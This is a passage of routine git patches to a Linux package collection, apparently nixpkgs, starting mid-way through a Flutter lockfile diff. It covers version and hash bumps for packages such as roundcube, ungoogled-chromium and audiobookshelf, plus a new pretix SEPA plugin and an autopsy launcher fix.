       "dependency": "transitive",
       "description": {
         "name": "_fe_analyzer_shared",
-        "sha256": "f256b0c0ba6c7577c15e2e4e114755640a875e885099367bf6e012b19314c834",
+        "sha256": "16e298750b6d0af7ce8a3ba7c18c69c3785d11b15ec83f6dcd0ad2a0009b3cab",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "72.0.0"
+      "version": "76.0.0"
     },
     "_macros": {
       "dependency": "transitive",
       "description": "dart",
       "source": "sdk",
-      "version": "0.3.2"
+      "version": "0.3.3"
     },
     "adaptive_theme": {
       "dependency": "direct main",
@@ -30,11 +30,11 @@
       "dependency": "transitive",
       "description": {
         "name": "analyzer",
-        "sha256": "b652861553cd3990d8ed361f7979dc6d7053a9ac8843fa73820ab68ce5410139",
+        "sha256": "1f14db053a8c23e260789e9b0980fa27f2680dd640932cae5e1137cce0e46e1e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.7.0"
+      "version": "6.11.0"
     },
     "ansicolor": {
       "dependency": "transitive",
@@ -110,11 +110,11 @@
       "dependency": "transitive",
       "description": {
         "name": "async",
-        "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c",
+        "sha256": "d2872f9c19731c2e5f10444b14686eb7cc85c76274bd6c16e1816bff9a3bab63",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.11.0"
+      "version": "2.12.0"
     },
     "auto_size_text": {
       "dependency": "direct main",
@@ -160,11 +160,11 @@
       "dependency": "transitive",
       "description": {
         "name": "boolean_selector",
-        "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66",
+        "sha256": "8aab1771e1243a5063b8b0ff68042d67334e3feab9e95b9490f9a6ebf73b42ea",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.1"
+      "version": "2.1.2"
     },
     "build": {
       "dependency": "transitive",
@@ -250,11 +250,11 @@
       "dependency": "transitive",
       "description": {
         "name": "characters",
-        "sha256": "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605",
+        "sha256": "f71061c654a3380576a52b451dd5532377954cf9dbd272a78fc8479606670803",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.0"
+      "version": "1.4.0"
     },
     "checked_yaml": {
       "dependency": "transitive",
@@ -290,11 +290,11 @@
       "dependency": "transitive",
       "description": {
         "name": "clock",
-        "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf",
+        "sha256": "fddb70d9b5277016c77a80201021d40a2247104d9f4aa7bab7157b7e3f05b84b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.1"
+      "version": "1.1.2"
     },
     "code_builder": {
       "dependency": "transitive",
@@ -310,11 +310,11 @@
       "dependency": "direct main",
       "description": {
         "name": "collection",
-        "sha256": "ee67cb0715911d28db6bf4af1026078bd6f0128b07a5f66fb2ed94ec6783c09a",
+        "sha256": "2f5709ae4d3d59dd8f7cd309b4e023046b57d8a6c82130785d2b0e5868084e76",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.18.0"
+      "version": "1.19.1"
     },
     "confetti": {
       "dependency": "direct main",
@@ -541,11 +541,11 @@
       "dependency": "transitive",
       "description": {
         "name": "fake_async",
-        "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78",
+        "sha256": "6a95e56b2449df2273fd8c45a662d6947ce1ebb7aafe80e550a3f68297f3cacc",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.1"
+      "version": "1.3.2"
     },
     "ffi": {
       "dependency": "direct main",
@@ -841,15 +841,14 @@
       "version": "9.2.2"
     },
     "flutter_secure_storage_linux": {
-      "dependency": "direct overridden",
+      "dependency": "transitive",
       "description": {
-        "path": "flutter_secure_storage_linux",
-        "ref": "develop",
-        "resolved-ref": "5a5692b609b3886cdd49b2ed06b9c079ecdff996",
-        "url": "https://github.com/mogol/flutter_secure_storage.git"
+        "name": "flutter_secure_storage_linux",
+        "sha256": "be76c1d24a97d0b98f8b54bce6b481a380a6590df992d0098f868ad54dc8f688",
+        "url": "https://pub.dev"
       },
-      "source": "git",
-      "version": "1.2.1"
+      "source": "hosted",
+      "version": "1.2.3"
     },
     "flutter_secure_storage_macos": {
       "dependency": "transitive",
@@ -1177,21 +1176,21 @@
       "dependency": "transitive",
       "description": {
         "name": "leak_tracker",
-        "sha256": "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05",
+        "sha256": "c35baad643ba394b40aac41080300150a4f08fd0fd6a10378f8f7c6bc161acec",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "10.0.5"
+      "version": "10.0.8"
     },
     "leak_tracker_flutter_testing": {
       "dependency": "transitive",
       "description": {
         "name": "leak_tracker_flutter_testing",
-        "sha256": "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806",
+        "sha256": "f8b613e7e6a13ec79cfdc0e97638fddb3ab848452eff057653abd3edba760573",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.5"
+      "version": "3.0.9"
     },
     "leak_tracker_testing": {
       "dependency": "transitive",
@@ -1277,21 +1276,21 @@
       "dependency": "transitive",
       "description": {
         "name": "macros",
-        "sha256": "0acaed5d6b7eab89f63350bccd82119e6c602df0f391260d0e32b5e23db79536",
+        "sha256": "1d9e801cd66f7ea3663c45fc708450db1fa57f988142c64289142c9b7ee80656",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.1.2-main.4"
+      "version": "0.1.3-main.0"
     },
     "matcher": {
       "dependency": "transitive",
       "description": {
         "name": "matcher",
-        "sha256": "d2323aa2060500f906aa31a895b4030b6da3ebdcc5619d14ce1aada65cd161cb",
+        "sha256": "dc58c723c3c24bf8d3e2d3ad3f2f9d7bd9cf43ec6feaa64181775e60190153f2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.12.16+1"
+      "version": "0.12.17"
     },
     "material_color_utilities": {
       "dependency": "transitive",
@@ -1317,11 +1316,11 @@
       "dependency": "transitive",
       "description": {
         "name": "meta",
-        "sha256": "bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7",
+        "sha256": "e3641ec5d63ebf0d9b41bd43201a66e3fc79a65db5f61fc181f04cd27aab950c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.15.0"
+      "version": "1.16.0"
     },
     "mime": {
       "dependency": "transitive",
@@ -1457,11 +1456,11 @@
       "dependency": "direct main",
       "description": {
         "name": "path",
-        "sha256": "087ce49c3f0dc39180befefc60fdb4acd8f8620e5682fe2476afd0b3688bb4af",
+        "sha256": "75cca69d1490965be98c73ceaea117e8a04dd21217b37b292c9ddbec0d955bc5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.9.0"
+      "version": "1.9.1"
     },
     "path_drawing": {
       "dependency": "transitive",
@@ -1697,21 +1696,21 @@
       "dependency": "direct main",
       "description": {
         "name": "sentry",
-        "sha256": "033287044a6644a93498969449d57c37907e56f5cedb17b88a3ff20a882261dd",
+        "sha256": "599701ca0693a74da361bc780b0752e1abc98226cf5095f6b069648116c896bb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "8.9.0"
+      "version": "8.14.2"
     },
     "sentry_flutter": {
       "dependency": "direct main",
       "description": {
         "name": "sentry_flutter",
-        "sha256": "3780b5a0bb6afd476857cfbc6c7444d969c29a4d9bd1aa5b6960aa76c65b737a",
+        "sha256": "5ba2cf40646a77d113b37a07bd69f61bb3ec8a73cbabe5537b05a7c89d2656f8",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "8.9.0"
+      "version": "8.14.2"
     },
     "share_plus": {
       "dependency": "direct main",
@@ -1837,7 +1836,7 @@
       "dependency": "transitive",
       "description": "flutter",
       "source": "sdk",
-      "version": "0.0.99"
+      "version": "0.0.0"
     },
     "sodium": {
       "dependency": "transitive",
@@ -1883,11 +1882,11 @@
       "dependency": "transitive",
       "description": {
         "name": "source_span",
-        "sha256": "53e943d4206a5e30df338fd4c6e7a077e02254531b138a15aec3bd143c1a8b3c",
+        "sha256": "254ee5351d6cb365c859e20ee823c3bb479bf4a293c22d17a9f1bf144ce86f7c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.10.0"
+      "version": "1.10.1"
     },
     "sprintf": {
       "dependency": "transitive",
@@ -1944,11 +1943,11 @@
       "dependency": "transitive",
       "description": {
         "name": "stack_trace",
-        "sha256": "73713990125a6d93122541237550ee3352a2d84baad52d375a4cad2eb9b7ce0b",
+        "sha256": "8b27215b45d22309b5cddda1aa2b19bdfec9df0e765f2de506401c071d38d1b1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.11.1"
+      "version": "1.12.1"
     },
     "steam_totp": {
       "dependency": "direct main",
@@ -1974,11 +1973,11 @@
       "dependency": "transitive",
       "description": {
         "name": "stream_channel",
-        "sha256": "ba2aa5d8cc609d96bbb2899c28934f9e1af5cddbd60a827822ea467161eb54e7",
+        "sha256": "969e04c80b8bcdf826f8f16579c7b14d780458bd97f56d107d3950fdbeef059d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.4"
     },
     "stream_transform": {
       "dependency": "transitive",
@@ -1994,11 +1993,11 @@
       "dependency": "transitive",
       "description": {
         "name": "string_scanner",
-        "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde",
+        "sha256": "921cd31725b72fe181906c6a94d987c78e3b98c2e205b397ea399d4054872b43",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.0"
+      "version": "1.4.1"
     },
     "styled_text": {
       "dependency": "direct main",
@@ -2024,21 +2023,21 @@
       "dependency": "transitive",
       "description": {
         "name": "term_glyph",
-        "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84",
+        "sha256": "7f554798625ea768a7518313e58f83891c7f5024f88e46e7182a4558850a4b8e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.1"
+      "version": "1.2.2"
     },
     "test_api": {
       "dependency": "transitive",
       "description": {
         "name": "test_api",
-        "sha256": "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb",
+        "sha256": "fb31f383e2ee25fbbfe06b40fe21e1e458d14080e3c67e7ba0acfde4df4e0bbd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.2"
+      "version": "0.7.4"
     },
     "timezone": {
       "dependency": "transitive",
@@ -2244,11 +2243,11 @@
       "dependency": "transitive",
       "description": {
         "name": "vm_service",
-        "sha256": "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d",
+        "sha256": "0968250880a6c5fe7edc067ed0a13d4bae1577fe2771dcf3010d52c4a9d3ca14",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "14.2.5"
+      "version": "14.3.1"
     },
     "watcher": {
       "dependency": "transitive",
@@ -2362,7 +2361,7 @@
     }
   },
   "sdks": {
-    "dart": ">=3.5.0 <4.0.0",
+    "dart": ">=3.7.0-0 <4.0.0",
     "flutter": ">=3.24.0"
   }
 }

From 7644e8cabfb5d4e95d010940624b05c9ab05b933 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 12:55:49 +0000
Subject: [PATCH 0543/4511] roundcube: 1.6.10 -> 1.6.11

(cherry picked from commit 19c0c5cb3218c4d35e7ae0fdc10a15f7986ff961)
---
 pkgs/servers/roundcube/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/roundcube/default.nix b/pkgs/servers/roundcube/default.nix
index b88ba3a60819..b10167d270bb 100644
--- a/pkgs/servers/roundcube/default.nix
+++ b/pkgs/servers/roundcube/default.nix
@@ -10,11 +10,11 @@
 
 stdenv.mkDerivation rec {
   pname = "roundcube";
-  version = "1.6.10";
+  version = "1.6.11";
 
   src = fetchurl {
     url = "https://github.com/roundcube/roundcubemail/releases/download/${version}/roundcubemail-${version}-complete.tar.gz";
-    sha256 = "sha256-A8+sL0lN2Zwlw177CtTTM/JI4y8l9CBPvI8nMb+68OQ=";
+    sha256 = "sha256-ojDkMgZVVb+ie+o/z0rGcvI1nvKK2E9ZReo8z3AudGY=";
   };
 
   patches = [ ./0001-Don-t-resolve-symlinks-when-trying-to-find-INSTALL_P.patch ];

From 98cc0b47054f6c351cc77828e1ea4cf7389a110b Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Tue, 3 Jun 2025 18:20:31 +0200
Subject: [PATCH 0544/4511] ungoogled-chromium: 137.0.7151.55-1 ->
 137.0.7151.68-1

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop.html

This update includes 3 security fixes. Google is aware that an exploit
for CVE-2025-5419 exists in the wild.

CVEs:
CVE-2025-5419 CVE-2025-5068

(cherry picked from commit adad603923fe4c9f9ea6ac9e454005cc2958a113)
---
 .../networking/browsers/chromium/info.json     | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 5a20483448ed..d5dad782046f 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -797,7 +797,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "137.0.7151.55",
+    "version": "137.0.7151.68",
     "deps": {
       "depot_tools": {
         "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
@@ -808,16 +808,16 @@
         "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
       },
       "ungoogled-patches": {
-        "rev": "137.0.7151.55-1",
-        "hash": "sha256-m8un3k5gz8nqQIvulvV2yhY/TQZ7wcp1zwQmtqjbCEw="
+        "rev": "137.0.7151.68-1",
+        "hash": "sha256-oPYNvnBuBKBb1SRNQkQeApmPVDoV+bFVjCh9HKa4A8o="
       },
       "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "254bc711794d7ad269495f3d419a209935b78cad",
-        "hash": "sha256-dB81lgjgVK0qXWgAddB7G4L7rsJpZp+0VsjDKvGugEs=",
+        "rev": "2989ffee9373ea8b8623bd98b3cb350a8e95cadc",
+        "hash": "sha256-lPmmXVCNUa9of8d52hUejImPSEfOz7v7PlovZS4cfIE=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1037,8 +1037,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a54ed1df191a9e2aff2e9ef453ee6fdc959dd125",
-        "hash": "sha256-E6sx2ioDZRWJljbS17ztRwz+gsDhIHiluvkUx1rRZcw="
+        "rev": "fdc8ca697612f90e7ddf2621dffbc43733d2d238",
+        "hash": "sha256-jKYldgZJwJeTQavmcM9enTdGN8+zt/EG7K1E9wQYIBA="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1587,8 +1587,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "44fdd9108308773dd3f4fa040de5f4f75edf671f",
-        "hash": "sha256-BkLOmb97p2NcAIuQiDjIoVAe49h9iv79rC5G8wyD1as="
+        "rev": "e398f9bf6d5c8a768ab736f46146d7349cf31547",
+        "hash": "sha256-cJx8IgUB3UA3jEPvb5aDvHLYmAnHydK1qR11q6Y5PnA="
       }
     }
   }

From 0c80aaea4c8e04674cf61ebad1ff067578be7fd3 Mon Sep 17 00:00:00 2001
From: hlad <hladma@gmail.com>
Date: Tue, 3 Jun 2025 20:20:23 +0200
Subject: [PATCH 0545/4511] audiobookshelf: 2.23.0 -> 2.24.0

(cherry picked from commit f5ec40e3cf4d604d812d34ef6f3b963450d99615)
---
 pkgs/by-name/au/audiobookshelf/source.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/au/audiobookshelf/source.json b/pkgs/by-name/au/audiobookshelf/source.json
index 84c31d3aac1d..4d0383a553f3 100644
--- a/pkgs/by-name/au/audiobookshelf/source.json
+++ b/pkgs/by-name/au/audiobookshelf/source.json
@@ -1,9 +1,9 @@
 {
   "owner": "advplyr",
   "repo": "audiobookshelf",
-  "rev": "077273033657da2345494084dc7a1f399cc1a7ba",
-  "hash": "sha256-6ygJrB7AvOyRLgDrkz/qLXiJXP+0U7uhi1HqZP62+gU=",
-  "version": "2.23.0",
-  "depsHash": "sha256-3ANieZvWxLVDiIZ1oGSB3UQgApZvukXN5OokyUnFyzg=",
-  "clientDepsHash": "sha256-WiMQZwPFo5qTo4kTWZ+LuLKDEorediQ+GhUxAO+nRCc="
+  "rev": "c377b57601f82f76d677b09e6bbabda732c18861",
+  "hash": "sha256-q0Qlslw5e1nHDqLfLi4AvD3vAzoWvz9/0/lMgqn+y8Y=",
+  "version": "2.24.0",
+  "depsHash": "sha256-s4U+Hgace+d+zRaHeJkxh6TWgClY6T+tlmoyZq7L7Rk=",
+  "clientDepsHash": "sha256-fAtr5GW8AInIDgSEjv1JwKW9GNZGYImD3LxerkUqH8k="
 }

From 2ba63d3558ca8c30456bcd4a9c6aa6f6c6ebc495 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Tue, 3 Jun 2025 09:55:03 +0100
Subject: [PATCH 0546/4511] paretosecurity: 0.2.27 -> 0.2.31

(cherry picked from commit 190febec5b90a5fae1da7ac705feffb51f58d3aa)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 05211c8098fe..53722be17a66 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,7 +17,7 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.27";
+  version = "0.2.31";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
@@ -26,7 +26,7 @@ buildGoModule (finalAttrs: {
     hash = "sha256-dYQNSzovWCX7sj7VjgBc5GHz+5dKLTiB5pvbVSLMyqY=";
   };
 
-  vendorHash = "sha256-PhuHRs0PjIJqY3ZBC4ga7zFxgf57xfPjJ3VIDaA61F0";
+  vendorHash = "sha256-PhuHRs0PjIJqY3ZBC4ga7zFxgf57xfPjJ3VIDaA61F0=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From 32564ea3528abe5a24605430754d74c906759194 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Mon, 2 Jun 2025 17:08:54 -0600
Subject: [PATCH 0547/4511] =?UTF-8?q?libosinfo:=201.11.0=20=E2=86=92=201.1?=
 =?UTF-8?q?2.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

NEWS: https://gitlab.com/libosinfo/libosinfo/-/blob/v1.12.0/NEWS

Changelog: https://gitlab.com/libosinfo/libosinfo/-/compare/v1.11.0...v1.12.0
(cherry picked from commit d6619791686ecca939a88dea0050aff553682888)
---
 pkgs/by-name/li/libosinfo/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/li/libosinfo/package.nix b/pkgs/by-name/li/libosinfo/package.nix
index c48b1d2c739a..5357338529bf 100644
--- a/pkgs/by-name/li/libosinfo/package.nix
+++ b/pkgs/by-name/li/libosinfo/package.nix
@@ -25,11 +25,11 @@
 
 stdenv.mkDerivation rec {
   pname = "libosinfo";
-  version = "1.11.0";
+  version = "1.12.0";
 
   src = fetchurl {
     url = "https://releases.pagure.org/${pname}/${pname}-${version}.tar.xz";
-    sha256 = "sha256-G/lu7J4UYPPRpxMWPMof8NSAo0kLUImSkvFFSLOpa2A=";
+    sha256 = "sha256-rYVX7OJnk9pD0m3lZePWjOLua/uNARO3zH3+B/a/xrY=";
   };
 
   outputs = [
@@ -65,10 +65,10 @@ stdenv.mkDerivation rec {
       osinfo_db_data_dir = "${osinfo-db}/share";
     })
 
-    # Fix build with libxml 2.12
+    # Fix build with libxml 2.14
     (fetchpatch {
-      url = "https://gitlab.com/libosinfo/libosinfo/-/commit/5bbdd06503456784c5ffa22409e8bab50470d673.patch";
-      hash = "sha256-KqgHXI+lD5VYp2wtA58Drp15TgNK1O3xCaYBy4/B9wc=";
+      url = "https://gitlab.com/libosinfo/libosinfo/-/commit/0adf38535637ec668e658d43f04f60f11f51574f.patch";
+      hash = "sha256-NZija5BwevRU7bAe2SPx9GnoGb1P+mXEbJ5EVAFT9Yw=";
     })
   ];
 

From 8e800c4bc44d908b27509a00a2b50dade8f9b154 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 3 Jun 2025 14:57:39 +0200
Subject: [PATCH 0548/4511] pretix: expose as python module to local package
 set

This allows consuming pretix as a library for tests.

(cherry picked from commit d1ff75196d6484561179387566b08c8f6be38d11)
---
 pkgs/by-name/pr/pretix/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/pr/pretix/package.nix b/pkgs/by-name/pr/pretix/package.nix
index 9c735d4dd548..9010cafc9526 100644
--- a/pkgs/by-name/pr/pretix/package.nix
+++ b/pkgs/by-name/pr/pretix/package.nix
@@ -7,6 +7,7 @@
   python3,
   gettext,
   nixosTests,
+  pretix,
   plugins ? [ ],
 }:
 
@@ -35,6 +36,7 @@ let
         };
       };
 
+      pretix = self.toPythonModule pretix;
       pretix-plugin-build = self.callPackage ./plugin-build.nix { };
     };
   };

From 5fe7c60d9c67013f1df5102db34b08b8037ecb03 Mon Sep 17 00:00:00 2001
From: Benno Bielmeier <nix@bbenno.com>
Date: Mon, 2 Jun 2025 07:45:25 +0200
Subject: [PATCH 0549/4511] pretix.plugins.sepadebit: init at 2.6.0

(cherry picked from commit 887b9f48160b7b39445808556a9da17cc6c9777c)
---
 .../pr/pretix/plugins/sepadebit/package.nix   | 64 +++++++++++++++++++
 1 file changed, 64 insertions(+)
 create mode 100644 pkgs/by-name/pr/pretix/plugins/sepadebit/package.nix

diff --git a/pkgs/by-name/pr/pretix/plugins/sepadebit/package.nix b/pkgs/by-name/pr/pretix/plugins/sepadebit/package.nix
new file mode 100644
index 000000000000..d5ad04b3da56
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/sepadebit/package.nix
@@ -0,0 +1,64 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # build-system
+  pretix-plugin-build,
+  setuptools,
+
+  # dependencies
+  django-localflavor,
+  sepaxml,
+
+  # tests
+  django-scopes,
+  pretix,
+  pytest-django,
+  pytestCheckHook,
+}:
+
+buildPythonPackage rec {
+  pname = "pretix-sepadebit";
+  version = "2.6.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "pretix";
+    repo = "pretix-sepadebit";
+    tag = "v${version}";
+    hash = "sha256-o4HVPuSpYIFjxmYuL+IsJJDkv+4ARuvaDqPjxWxlhMg=";
+  };
+
+  build-system = [
+    pretix-plugin-build
+    setuptools
+  ];
+
+  dependencies = [
+    django-localflavor
+    sepaxml
+  ];
+
+  pythonImportsCheck = [
+    "pretix_sepadebit"
+  ];
+
+  nativeCheckInputs = [
+    django-scopes
+    pretix
+    pytest-django
+    pytestCheckHook
+  ];
+
+  preCheck = ''
+    export DJANGO_SETTINGS_MODULE=pretix.testutils.settings
+  '';
+
+  meta = with lib; {
+    description = "Plugin to receive payments via SEPA direct debit";
+    homepage = "https://github.com/pretix/pretix-sepadebit";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ bbenno ];
+  };
+}

From 4aec450a138e689d0eafa801cee81f88ad28e813 Mon Sep 17 00:00:00 2001
From: Antonio <vozaanthony@gmail.com>
Date: Wed, 7 May 2025 02:32:59 +0200
Subject: [PATCH 0550/4511] autopsy: fix java.lang.UnsatisfiedLinkError

Fix https://github.com/NixOS/nixpkgs/issues/338870

(cherry picked from commit b58041abb1aaf09cde92843107f0288a191d6290)
---
 pkgs/by-name/au/autopsy/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/au/autopsy/package.nix b/pkgs/by-name/au/autopsy/package.nix
index e9fc15a10076..1eec7007d043 100644
--- a/pkgs/by-name/au/autopsy/package.nix
+++ b/pkgs/by-name/au/autopsy/package.nix
@@ -34,6 +34,7 @@ stdenv.mkDerivation rec {
     testdisk
     imagemagick
     jdkWithJfx
+    sleuthkit
   ];
 
   installPhase = ''
@@ -44,9 +45,11 @@ stdenv.mkDerivation rec {
     # Run the provided setup script to make files executable and copy sleuthkit
     TSK_JAVA_LIB_PATH="${sleuthkit}/share/java" bash $out/unix_setup.sh -j '${jdkWithJfx}' -n autopsy
 
+    # --add-flags "--nosplash" -> https://github.com/sleuthkit/autopsy/issues/6980
     substituteInPlace $out/bin/autopsy \
       --replace-warn 'APPNAME=`basename "$PRG"`' 'APPNAME=autopsy'
     wrapProgram $out/bin/autopsy \
+      --add-flags "--nosplash" \
       --run 'export SOLR_LOGS_DIR="$HOME/.autopsy/dev/var/log"' \
       --run 'export SOLR_PID_DIR="$HOME/.autopsy/dev"' \
       --prefix PATH : "${

From 9062540bc1474354cb5ff2f9256dba17038bce82 Mon Sep 17 00:00:00 2001
From: eilvelia <hi@eilvelia.cat>
Date: Mon, 26 May 2025 21:41:29 +0000
Subject: [PATCH 0551/4511] binaryninja-free: 5.0.7290 -> 5.0.7486

(cherry picked from commit b83872b85a2eb898a35d2d8fc32bf2aab2937b07)
---
 pkgs/by-name/bi/binaryninja-free/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/bi/binaryninja-free/package.nix b/pkgs/by-name/bi/binaryninja-free/package.nix
index a9563ea30631..e243827744d5 100644
--- a/pkgs/by-name/bi/binaryninja-free/package.nix
+++ b/pkgs/by-name/bi/binaryninja-free/package.nix
@@ -19,11 +19,11 @@
 }:
 stdenv.mkDerivation rec {
   pname = "binaryninja-free";
-  version = "5.0.7290";
+  version = "5.0.7486";
 
   src = fetchurl {
-    url = "https://web.archive.org/web/20250426133400/https://cdn.binary.ninja/installers/binaryninja_free_linux.zip";
-    hash = "sha256-Fzdv+454Ajj8IxmdcxvcDGePFsTmmyPpnfBXge4p8iU=";
+    url = "https://web.archive.org/web/20250526111956/https://cdn.binary.ninja/installers/binaryninja_free_linux.zip";
+    hash = "sha256-iZjIgokwnHJaY6OgrnDcto3Un5g42MqTWXKo6OL1Rcs=";
   };
 
   icon = fetchurl {

From ba88e7b62b54ed78e62cbc70b2446375e7312230 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:35:19 +0000
Subject: [PATCH 0552/4511] protonplus: 0.4.30 -> 0.4.31

Diff: https://github.com/Vysp3r/ProtonPlus/compare/v0.4.30...v0.4.31

Changelog: https://github.com/Vysp3r/ProtonPlus/releases/tag/v0.4.31
(cherry picked from commit 6f852f57aaaf893612bd066ccda957720af4a3d9)
---
 pkgs/by-name/pr/protonplus/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/pr/protonplus/package.nix b/pkgs/by-name/pr/protonplus/package.nix
index 46146e95fe32..f77f888f9016 100644
--- a/pkgs/by-name/pr/protonplus/package.nix
+++ b/pkgs/by-name/pr/protonplus/package.nix
@@ -20,13 +20,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "protonplus";
-  version = "0.4.30";
+  version = "0.4.31";
 
   src = fetchFromGitHub {
     owner = "Vysp3r";
     repo = "protonplus";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-bI21042EHpNigS2wB0WdM06BF2GHdoXsVpNoHe7ZuLk=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-5UwgRvApKjMML5lx/UF7YHsXts4nQlg3GheAykN1f3E=";
   };
 
   nativeBuildInputs = [
@@ -53,13 +53,13 @@ stdenv.mkDerivation (finalAttrs: {
     updateScript = nix-update-script { };
   };
 
-  meta = with lib; {
+  meta = {
     mainProgram = "com.vysp3r.ProtonPlus";
     description = "Simple Wine and Proton-based compatibility tools manager";
     homepage = "https://github.com/Vysp3r/ProtonPlus";
     changelog = "https://github.com/Vysp3r/ProtonPlus/releases/tag/v${finalAttrs.version}";
-    license = licenses.gpl3Only;
-    maintainers = with maintainers; [ getchoo ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [ getchoo ];
+    platforms = lib.platforms.linux;
   };
 })

From c4cfd4a01bbe5354f98790d257d66800c454d54a Mon Sep 17 00:00:00 2001
From: Nicolas Benes <nbenes.gh@xandea.de>
Date: Fri, 30 May 2025 13:03:53 +0200
Subject: [PATCH 0553/4511] foonathan-memory: 0.7-3 -> 0.7-4

https://github.com/foonathan/memory/releases/tag/v0.7-4
